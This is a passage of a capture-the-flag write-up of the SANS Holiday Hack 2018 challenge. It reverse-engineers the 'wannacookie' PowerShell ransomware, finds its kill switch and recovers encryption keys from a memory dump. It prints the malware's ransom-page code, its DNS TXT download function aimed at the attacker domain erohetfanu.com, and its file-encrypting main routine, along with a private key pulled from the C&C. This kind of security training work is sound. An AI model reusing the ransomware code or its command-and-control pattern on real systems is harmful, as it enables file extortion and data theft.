var countDownDate=new Date(date_string).addDays(3).getTime();
var x=setInterval(function()
{
var now=new Date().getTime();
var distance=countDownDate-now;
var days=Math.floor(distance/(1000*60*60*24));
var hours=Math.floor((distance%(1000*60*60*24))/(1000*60*60));
var minutes=Math.floor((distance%(1000*60*60))/(1000*60));
var seconds=Math.floor((distance%(1000*60))/1000);
document.getElementById("demo").innerHTML=days+"d "+hours+"h "+minutes+"m "+seconds+"s ";
if(distance<0)
{
clearInterval(x);
document.getElementById("demo").innerHTML="EXPIRED";
}
},1000);
};
$('.key_button').click(function()
{
if($('#thekey').val().trim())
{
thekey=$('#thekey').val().trim()+'';
$.get("http://127.0.0.1:8080/decrypt?key="+thekey).done(function(data)
{
if(data!="Invalid Key!")
{
$('#result').html(data);
if(confirm('Your files have been decrypted! Would you like to close this window?'))
{
window.close();
}
}
else
{
$('#result').html(data);
$('#thekey').val('');
setTimeout(function()
{
$('#result').html('');
},2000);
}
});
}
else
{
alert('You must input a key before decryption!');
}
});
$('#Pause').click(function()
{
if($('#f_c').css('display')==='block')
{
$('#Pause').html('►');
$('.c_div').css('display','none');
}
else
{
$('#Pause').html('<strong>‖</strong>');
$('.c_div').css('display','block');
}
});
$(document).ready(function()
{
$.get("http://127.0.0.1:8080/cookie_is_paid").done(function(data)
{
var[paid_status,cookie_id,expiration]=data.split('|');
$('#key_p').text(paid_status);
$('#id_p').text(cookie_id);
get_count_down(expiration);
});
});
</script>
But there is no surprise there. There is only some javascript code to call the local server functions already seen in the Powershell part.
After these good reads, we can go on and focus on the kill switch feature in order to stop infection. But before, like we can now ask the C&C for files, we try to look at hidden ones with a dictionary and this little script :
function A2H(){
Param($a)
$c = ''
$b = $a.ToCharArray();
Foreach ($element in $b) {
$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
}
return $c -replace ' '
}
foreach ( $word in Get-Content -Path dictionary.txt -Encoding ASCII )
{
# Convert $word in hexa-ascii
$s = A2H $word
$response = $(Resolve-DnsName -Server erohetfanu.com -Name ("$s.erohetfanu.com".trim()) -Type TXT).Strings
if ( $response -ne "404NOTFOUND" )
{
Write-Output $word $response
}
}
...but we discover nothing !
Go back to the kill switch...
The kill switch is implemented in the two fist lines of the wanacookie
function :
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8)))
{
return
}
Decomposing it, we understand that the if the name H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))
exists, the ransomware exits immediately.So what is this name ?:
We just have to execute this command in Powershell to know it H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)).
To do this, we need the conversion functions H2A
, B2H
, G2B
and H2B
, and the ti_rox function
. And the $S1
variable.
So with this source, we can get the kill switch name :
function H2B {
param($HX)
$HX = $HX -split '(..)' | ? { $_ }
ForEach ($value in $HX){
[Convert]::ToInt32($value,16)
}
}
function H2A() {
Param($a)
$outa
$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_}
return $outa
}
function B2H {
param($DEC)
$tmp = ''
ForEach ($value in $DEC){
$a = "{0:x}" -f [Int]$value
if ($a.length -eq 1){
$tmp += '0' + $a
} else {
$tmp += $a
}
}
return $tmp
}
function ti_rox {
param($b1, $b2)
$b1 = $(H2B $b1)
$b2 = $(H2B $b2)
$cont = New-Object Byte[] $b1.count
if ($b1.count -eq $b2.count) {
for($i=0; $i -lt $b1.count ; $i++)
{
$cont[$i] = $b1[$i] -bxor $b2[$i]
}
}
return $cont
}
function G2B {
param([byte[]]$Data)
Process {
$SrcData = New-Object System.IO.MemoryStream( , $Data )
$output = New-Object System.IO.MemoryStream
$gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress)
$gStream.CopyTo( $output )
$gStream.Close()
$SrcData.Close()
[byte[]] $byteArr = $output.ToArray()
return $byteArr
}
}
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
$killswitch_name = H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))
Write-Output $killswitch_name
Once executed we get :
yippeekiyaa.aaay
Now we can try to register this name with the « Hohoho Daddy » terminal :
Hohoho Daddy terminal
And this effectively stops the malware :
Objective 9.4 : Recover Alabaster's Password
Telling this good news to Alabaster, he replies :
Yippee-Ki-Yay! Now, I have a ma...
kill-switch!
Now that we don't have to worry
about new infections, I could sure use
your L337 security skills for one last thing.
As I mentioned, I made the mistake of
analyzing the malware on my host
computer and the ransomware
encrypted my password database.
Take this zip with a memory dump
and my encrypted passord
database, and see if you can recover
my passwords.
One of the passwords will unlock our
access to the vault so we can get in
before the hackers.
We have seen in the malware source that it's possible to decrypt a file if we know the key. This key is probably somewhere in the memory dump.
After downloading it, we see that it is a powershell process memory dump.
Like Powershell is an interpreter, may be variables holding the keys are probably stored in a comprehensible form. We can first try to discover them with a simple grep.
Important note : the memory dump has been made with the minified script, so we have to use the minify names there, which are different than the equivalent ones in the non minified version.
Keys variables are stored in the $h_k
local variable of the wanc
function and in the $key
parameters of the e_d_file
and e_n_d>
functions.
Since we know that the alabaster_passwords.elfdb
has been encrypted, we can also search for this string.
After poking a little while in the dump, when looking for e_d_file
in ASCII we found at offset 0x1E48270
an interesting XML document
which seems to be the description of a Powershell Module for the cmd command launched by the e_n_d
function :
<Obj RefId="0"> <MS> <Obj N="PowerShell" RefId="1"> <MS> <Obj N="Cmds" RefId="2"> <TN RefId="0"> <T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T> <T>System.Object</T> </TN> <LST> <Obj RefId="3"> <MS> <S N="Cmd">param($key, $File, $true_false);try{e_d_file $key $File $true_false} catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append}</S> <B N="IsScript">true</B> <Nil N="UseLocalScope" /> <Obj N="MergeMyResult" RefId="4"> <TN RefId="1"> <T>System.Management.Automation.Runspaces.PipelineResultTypes</T> <T>System.Enum</T> <T>System.ValueType</T> <T>System.Object</T> </TN> <ToString>None</ToString> <I32>0</I32> </Obj> <Obj N="MergeToResult" RefId="5"> <TNRef RefId="1" /> <ToString>None</ToString> <I32>0</I32> </Obj> <Obj N="MergePreviousResults" RefId="6"> <TNRef RefId="1" /> <ToString>None</ToString> <I32>0</I32> </Obj> <Obj N="MergeError" RefId="7"> <TNRef RefId="1" /> <ToString>None</ToString> <I32>0</I32> </Obj> <Obj N="MergeWarning" RefId="8"> <TNRef RefId="1" /> <ToString>None</ToString> <I32>0</I32> </Obj> <Obj N="MergeVerbose" RefId="9"> <TNRef RefId="1" /> <ToString>None</ToString> <I32>0</I32> </Obj> <Obj N="MergeDebug" RefId="10"> <TNRef RefId="1" /> <ToString>None</ToString> <I32>0</I32> </Obj> <Obj N="MergeInformation" RefId="11"> <TNRef RefId="1" /> <ToString>None</ToString> <I32>0</I32> </Obj> <Obj N="Args" RefId="12"> <TNRef RefId="0" /> <LST> <Obj RefId="13"> <MS> <Nil N="N" /> <Obj N="V" RefId="14"> <TN RefId="2"> <T>System.Object[]</T> <T>System.Array</T> <T>System.Object</T> </TN> <LST> <By>251</By><By>207</By><By>193</By><By>33</By><By>145</By><By>93</By><By>153</By><By>204</By><By>32</By><By>163</By><By>211</By><By>213</By><By>216</By><By>79</By><By>131</By><By>8</By> </LST> </Obj> </MS> </Obj> <Obj RefId="15"> <MS> <Nil N="N" /> <S N="V">C:\Users\alabaster\Desktop\alabaster_passwords.elfdb</S> </MS> </Obj> <Obj RefId="16"> <MS> <Nil N="N" /> <B N="V">true</B> </MS> </Obj> </LST> </Obj> </MS> </Obj> </LST> </Obj> <B N="IsNested">false</B> <Nil N="History" /> <B N="RedirectShellErrorOutputPipe">true</B> </MS> </Obj> <B N="NoInput">true</B> <Obj N="ApartmentState" RefId="17"> <TN RefId="3"> <T>System.Threading.ApartmentState</T> <T>System.Enum</T> <T>System.ValueType</T> <T>System.Object</T> </TN> <ToString>Unknown</ToString> <I32>2</I32> </Obj> <Obj N="RemoteStreamOptions" RefId="18"> <TN RefId="4"> <T>System.Management.Automation.RemoteStreamOptions</T> <T>System.Enum</T> <T>System.ValueType</T> <T>System.Object</T> </TN> <ToString>0</ToString> <I32>0</I32></Obj> <B N="AddToHistory">true</B> <Obj N="HostInfo" RefId="19"> <MS> <B N="_isHostNull">true</B> <B N="_isHostUINull">true</B> <B N="_isHostRawUINull">true</B> <B N="_useRunspaceHost">true</B> </MS> </Obj> <B N="IsNested">false</B> </MS> </Obj>
There is a value for the $key
parameter there !!!
Let's try it on the Alabaster's password database with this little script :
# Encryption/Decryption function extracted from the wanacookie.min.ps1 downloaded file
function e_d_file($key, $File, $enc_it)
{
Write-Output ("Entering function")
[byte[]]$key = $key;
$Suffix = "`.wannacookie";
[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');
[System.Int32]$KeySize = $key.Length*8;
$AESP = New-Object 'System.Security.Cryptography.AesManaged';
$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$AESP.BlockSize = 128;
$AESP.KeySize = $KeySize;
$AESP.Key = $key;
$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);
if ($enc_it)
{
$DestFile = $File + $Suffix
}
else
{
$DestFile = ($File -replace $Suffix)
};
$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);
if ($enc_it)
{
$AESP.GenerateIV();
$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);
$FileSW.Write($AESP.IV, 0, $AESP.IV.Length);
$Transform = $AESP.CreateEncryptor()
}
else
{
[Byte[]]$LenIV = New-Object Byte[] 4;
$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;
$FileSR.Read($LenIV, 0, 3) | Out-Null;
[Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0);
[Byte[]]$IV = New-Object Byte[] $LIV;
$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;
$FileSR.Read($IV, 0, $LIV) | Out-Null;
$AESP.IV = $IV;
$Transform = $AESP.CreateDecryptor()
};
$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);
[Int]$Count = 0;
[Int]$BlockSzBts = $AESP.BlockSize / 8;
[Byte[]]$Data = New-Object Byte[] $BlockSzBts;
Do
{
$Count = $FileSR.Read($Data, 0, $BlockSzBts);
$CryptoS.Write($Data, 0, $Count)
}
While ($Count -gt 0);
$CryptoS.FlushFinalBlock();
$CryptoS.Close();
$FileSR.Close();
$FileSW.Close();
Clear-variable -Name "key";
Remove-Item $File
}
# Secret encrytion key carved from powershell memory dump
$secretkey = [Byte[]] (251,207,193,33,145,93,153,204,32,163,211,213,216,79,131,8)
# call to the decryption function to decrypt Alabaster's passwords database
e_d_file $secretkey "alabaster_passwords.elfdb.wannacookie" 0
We get a alabaster_passwords.elfdb
file, and once opened with SQLiteDatabaseBrowser
we get the Graal :
May be we had been lucky because the wanacookie script launch another powershell script, we can probably achieve the same objective in a more reliable way.
Watching the Chris Davis Analyzing PowerShell Malware video, we understand that it's better to use
the Power_dump
tool to carve keys from a process memory dump. Let's try it...
We download the Power Dump utility and launch it :
============================== | __ \ | |__) |____ _____ _ __ | ___/ _ \ \ /\ / / _ \ '__| | | | (_) \ V V / __/ | |_| \___/ \_/\_/ \___|_| __ __ \ \ ( ) / / \ \_ ( ) ( _/ / \__\ ) _ ) /__/ \\ ( \_ // `\ _(_\ \)__ /' (____\___)) _____ _ _ __ __ _____ | __ \| | | | \/ | __ \ | | | | | | | \ / | |__) | | | | | | | | |\/| | ___/ | |__| | |__| | | | | | |_____/ \____/|_| |_|_| Dumps PowerShell From Memory ============================== ======================================= 1. Load PowerShell Memory Dump File 2. Process PowerShell Memory Dump 3. Search/Dump Powershell Scripts 4. Search/Dump Stored PS Variables e. Exit :
Then we load the memory dump :
: 1 ============ Load Dump Menu ================ COMMAND | ARGUMENT | Explanation ========|====================|============== ld | /path/to/file.name | load mem dump ls | ../directory/path | list files B | | back to menu ============= Loaded File: ================= ============================================ : ld forensic_artifacts/powershell.exe_181109_104716.dmp
Then go back to the menu :
============ Load Dump Menu ================ COMMAND | ARGUMENT | Explanation ========|====================|============== ld | /path/to/file.name | load mem dump ls | ../directory/path | list files B | | back to menu ============= Loaded File: ================= forensic_artifacts/powershell.exe_181109_104716.dmp 427762187 ============================================ : B ============ Main Menu ================ Memory Dump: forensic_artifacts/powershell.exe_181109_104716.dmp Loaded : True Processed : False ======================================= 1. Load PowerShell Memory Dump File 2. Process PowerShell Memory Dump 3. Search/Dump Powershell Scripts 4. Search/Dump Stored PS Variables e. Exit :
And process the dump with 2
choice :
: 2
[i] Please wait, processing memory dump...
...and after a few minutes :
[+] Found 65 script blocks! [+] Found some Powershell variable names to work with... [+] Found 10947 possible variables stored in memory Would you like to save this processed data for quick processing later "Y"es or "N"o? : Successfully Processed Memory Dump! Press Enter to Continue...
Then we can search variables to found the key.
Now we can search for stored variables for exemple :
============ Main Menu ================ Memory Dump: forensic_artifacts/powershell.exe_181109_104716.dmp Loaded : True Processed : True ======================================= 1. Load PowerShell Memory Dump File 2. Process PowerShell Memory Dump 3. Search/Dump Powershell Scripts 4. Search/Dump Stored PS Variables e. Exit : 4 [i] 10947 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : matches "^[a-fA-F0-9]+$"
This gives us 196 variables :
================ Filters ================
1| MATCHES bool(re.search(r"^[a-fA-F0-9]+$",variable_values))
[i] 196 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND | ARGUMENT | Explanation
===============|=============================|=================================
print | print [all|num] | print specific or all Variables
dump | dump [all|num] | dump specific or all Variables
contains | contains [ascii_string] | Variable Values must contain string
matches | matches "[python_regex]" | match python regex inside quotes
len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear | clear [all|num] | clear all or specific filter num
===============================================================================
:
We can refine our search with a length of 32 and the len == 32 command. This lets us with 5 variables :
================ Filters ================ 1| MATCHES bool(re.search(r"^[a-fA-F0-9]+$",variable_values)) 2| LENGTH len(variable_values) == 32 [i] 5 powershell Variable Values found!
Now we can view or dump the five and test them :
: print 033ecb2bc07a4d43b5ef94ed5a35d280 Variable Values #1 above ^ Type any key to go back and just Enter to Continue... cf522b78d86c486691226b40aa69e95c Variable Values #2 above ^ Type any key to go back and just Enter to Continue... 9e210fe47d09416682b841769c78b8a3 Variable Values #3 above ^ Type any key to go back and just Enter to Continue... 4ec4f0187cb04f4cb6973460dfe252df Variable Values #4 above ^ Type any key to go back and just Enter to Continue... 27c87ef9bbda4f709f6b4002fa4af63c Variable Values #5 above ^ Type any key to go back and just Enter to Continue...
None of those variables is our key... probably because the dump has been made after the two Clear-variable
instructions on lines 202 and 203 :
function wannacookie {
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return}
if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return}
$pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
$Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00})
$Hex_key = $(B2H $Byte_key)
$Key_Hash = $(Sha1 $Hex_key)
$Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
$cookie_id = (send_key $Pub_key_encrypted_Key)
$date_time = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n")
[array]$future_cookies = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
enc_dec $Byte_key $future_cookies $true
Clear-variable -Name "Hex_key"
Clear-variable -Name "Byte_key"
$lurl = 'http://127.0.0.1:8080/'
$htmlcontents = @{
'GET /' = $(get_over_dns (A2H "source.min.html"))
'GET /close' = 'Bye!'
}
Our key in hex form is in the Hex_key
variable.
We have to look for a variable in a binary format (a byte array). But it seems that power_dump
does not handle this.
Wait... there is also the encrypted key in the $Pub_key_encrypted_Key
variable (or $p_k_e_k
in minified version) which has not been wipped. May be we can get it with power_dump
and decrypt it with the server private key ?
The server public key server.cert
is downloaded from the server. What if we ask for server.key
instead ?
function H2A() {
Param($a)
$outa
$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_}
return $outa
}
function get_over_dns($f) {
$h = ''
foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
}
return (H2A $h)
}
# 7365727665722E637274 ==> "server.crt"
$pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
# 7365727665722E6B6579 ==> "server.key"
$private_key = $(get_over_dns("7365727665722E6B6579"))
$private_key | Out-File -FilePath server.key -Encoding ascii
And yes, it works :-) :
-----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3 HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4 tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc 0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN 6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U 3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9 uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2 Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG 4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB 0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498 /P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q 8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4 eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4 Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq UdrzXvSwyFuuIqBlkHnWSIeC -----END PRIVATE KEY-----
Now we have to find the encrypted key in memory. Go back to power_dump
and look for variables of 512 (256*2) bytes length :
================ Filters ================ 1| LENGTH len(variable_values) == 512 [i] 1 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : print 3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971 Variable Values #1 above ^ Type any key to go back and just Enter to Continue...
We can now try to decipher this key with the server private key :
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
Once this key saved in binary format in a encrypted_key.bin
file, we can decrypt it with openssl with a openssl rsautl -in "encrypted_key.bin" -inkey "server.key" -out "decrypted_key.bin" -oaep command. We get a decrypted_key.bin
file
whose content is the same as the key we discovered in the xml structure in memory. xxd decrypted_key.bin :
00000000: fbcf c121 915d 99cc 20a3 d3d5 d84f 8308
Ok, now let's resume our journey.
The Alabaster's active directory password is CookiesR0cK!2!#
:
Our roadmap is now almost completed :
Objective 10 : Who Is Behind It All?
...wait... there are other passwords in the database. We have also the Alabaster's barcode scanner password, which is not of any help, and the vault password !!! We can probably enter the Vault with it !
Santa's Vault
Vault key is : ED#ED#EED#EF#G#F#G#ABA#BA#B
:
... fail !!!
We did not speak with Alabaster after retrieving his password. May be he has a hint for us ?
I'm seriously impressed by your
security skills. How could I forget that
I used Rachmaninoff as my musical
password?
Alabaster gives us a precious hint. His musical password is from Rachmaninoff and the hint is this one : « Really, it's Mozart. And it should be in the key of D, not E ».
So the vault key has to be transposed. And the real key in D has to be transposed in E, so we have to go down one tone.
This gives us the new key : DC#DC#DDC#DEF#EF#GAG#AG#A
.
Trying this new code :
It works :
Three new achievements and one new narrative !
The last narrative seams to end this year challenge :
The Santa's vault is now opened :
In the vault we find two Elf-In-Disguise, Santa and Hans :
We get the congratulations from Hans and from the elves :
And after a while, from Santa himself :
So the mastermind behind the whole KringleCon plan was Santa himself :-) :
This ends this amazing journey :-) :
Our roadmap is now completed !!!
Mysterious backroom
There is a mysterious room at the back of the first floor with a hole in the east wall :
We try to cheat with websockets calls to go through the hole, but it does not worked !
May be it's the room for the awards ceremony ? or may be we missed something...
Narrative
Here is the complete narrative :
Hints
https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/Barcode Creation
From : Pepper Minstix
Bloodhound Demo
From : Holly Evergreen
Bloodhound Tool
From : Holly Evergreen
CSV Injection Talk
From : Sparkle Redberry
Somehow Brian Hostetler is giving a talk on CSV injection WHILE he's giving a talk on Trufflehog. Whatta' guy!
de Bruijn Sequence Generator
From : Tangle Coalbox
Finding Browsable Directories
From : Minty Candycane
On a website, finding browsable directories is sometimes as simple as removing characters from the end of a URL.
Finding Password in Git
From : Sparkle Redberry
Git Cheat Sheet
From : Sparkle Redberry
HTTP/2.0 Basics
From : Holly Evergreen
Malware Reverse Engineering
From : Alabaster Snowball
Whoa, Chris Davis' talk on PowerShell malware is crazy pants! You should check it out!
Opening a Ford Lock Code
From : Tangle Coalbox
Opening a Ford with a Robot and the de Bruijn Sequence
OWASP on CSV Injection
From : Sparkle Redberry
Password Spraying
From : Pepper Minstix
Password Spraying with MailSniper.ps1
Past Holiday Hack Challenges
From : Bushy Evergreen
Plaintext Credentials in Commands
From : Wunorse Openslae
Keeping Command Line Passwords Out of PS
Powershell Command Injection
From : Minty Candycane
SQL Injection
From : Pepper Minstix
SQLite3 .dump'ing
From : Minty Candycane
Using GDB to Call Random Functions!
From : Shinny Upatree
Using gdb to Call Random Functions!
Vi Editor Basics
From : Bushy Evergreen
Indiana University Vi Tutorials
Vim Artifacts
From : Tangle Coalbox
Forensic Relevance of Vim Artifacts
Website Directory Browsing
From : Minty Candycane
Talks
KringleCon 2018: Start Here
Speaker(s): Ed Skoudis
In this short overview, Ed Skoudis welcomes attendees to KringleCon 2018, the first-ever conference hosted by Santa at the North Pole as part of the SANS #HolidayHack challenge. In the session, Ed Skoudis describes the history of the conference, has some suggestions for what to do at KringleCon, and drops some hints about this year’s challenges.
Location: Track 2
Click here to watch this talk!
The Five Ways the Cyber Grinch Stole Christmas
Speaker(s): Dave Kennedy
Welcome KringleCon go’ers to KringleCon 2018! Coming straight from the North Pole inside of Santa’s shop, this talk dives into the top five ways attackers attempt to go after organizations and ways that you can better your security long-term. Santa asked me to give a talk that could be applied to helping secure the North Pole as Santa has been converting more specifically to IoT devices and the best ways he can protect the elf workshops from hackers. This talk dives into social engineering, perimeter attacks, weak passwords, and stories from the trenches to give you the most secure 2018 Christmas ever! Come join Dave Kennedy and Santa’s team as we talk security and make 2019 an even better one with security involved!
Location: Track 3
Click here to watch this talk!
Analyzing PowerShell Malware
Speaker(s): Chris Davis
In this talk we discuss how to properly reverse engineering many types of powershell malware from analyzing dropper downloads to powershell memory analysis.
Location: Track 4
Click here to watch this talk!
Breach Data and You
Speaker(s): Micah Hoffman
Location: Track 5
Click here to watch this talk!
Buried Secrets: Digging Deep Into Cloud Repositories
Speaker(s): Brian Hostetler
Does your organization have a repository in the cloud? If so, you may be at risk of leaking sensitive information. Let's learn how to locate and prevent information disclosures before commiting to cloud repositories.
Location: Track 4
Click here to watch this talk!
CSV Formula Injections: Pwn Web Apps Like a Ninja
Speaker(s): Brian Hostetler
Want to learn how to use and defend against DDE Attacks through spreadsheet software? In this talk we will explore DDE formula injections providing demonstrations on how to craft basic DDE to payloads to illustrate why this attack continues to be a spearphishing and APT attack vector favorite.
Location: Track 2
Click here to watch this talk!
Crash Course in Web App Pen Testing with Burp Suite
Speaker(s): Jason Nickola
♫ ♫ ♫ And a Web App Attack with Burp Suite!
Web app pen testing is fun, but diving into Burp Suite and getting started with no experience can be hard, so Santa asked me to put together this talk to get you started! From Intercept and Repeater to Intruder and Sequencer, together we will walk through the Burp Suite basics you need to know to start poking at the world of web apps.
Location: Track 5
Click here to watch this talk!
Escaping Python Shells
Speaker(s): Mark Baggett
I love Python! It is an amazing language that allows you to rapidly develop offensive, defensive and forensics tools to solve real world problems with a minimal effort and complexity. But Python has some functionality that can be dangerous when not fully understood. This talk will look at one example of that in the form of restricted Python shells and how those some of those restrictions can be bypassed.
Location: Track 7
Click here to watch this talk!
Everything You've Wanted to Know About Password Spraying, but Were Afraid to Ask
Speaker(s): Beau Bullock
